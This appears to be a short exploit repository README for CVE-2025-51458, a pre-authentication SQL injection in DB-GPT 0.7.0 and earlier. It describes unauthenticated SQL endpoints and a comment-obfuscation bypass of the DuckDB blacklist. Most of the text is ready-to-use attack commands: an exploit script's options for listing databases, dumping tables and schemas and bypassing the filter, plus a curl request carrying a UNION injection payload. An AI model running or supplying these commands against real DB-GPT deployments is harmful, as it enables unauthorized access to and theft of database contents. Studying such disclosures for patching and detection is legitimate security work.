q1uf3ng/cve-2025-51458-expCVE-2025-51458 - PoC de Injeção de SQL Pré-Auth no DB-GPT
Injeção de SQL Pré-Autenticação no DB-GPT <= 0.7.0
Os endpoints /api/v1/editor/sql/run e /api/v1/editor/chart/run aceitam SQL arbitrário sem autenticação. A lista negra sanitize_sql cobre apenas DuckDB; conexões MySQL, PostgreSQL e SQLite recebem entrada bruta do usuário sem nenhuma filtragem. A própria lista negra do DuckDB pode ser contornada por meio de ofuscação por comentários (SEL/**/ECT).
Trata-se de um bypass das CVE-2024-10835 e CVE-2024-10901.
# List databases
python3 exp.py http://target:5670 --list-dbs
# Execute SQL
python3 exp.py http://target:5670 <db_name> --sql "SELECT VERSION()"
# Dump tables
python3 exp.py http://target:5670 <db_name> --dump-tables
# Dump schema
python3 exp.py http://target:5670 <db_name> --dump-db
# DuckDB bypass
python3 exp.py http://target:5670 <db_name> --duckdb-bypass --sql "SELECT CURRENT_SETTING('access_mode')"
# Interactive mode
python3 exp.py http://target:5670 <db_name>
curl -X POST "http://target:5670/api/v1/editor/sql/run" \
-H "Content-Type: application/json" \
-d '{"db_name":"test_db","sql":"SELECT 1 UNION ALL SELECT table_name FROM information_schema.tables--"}'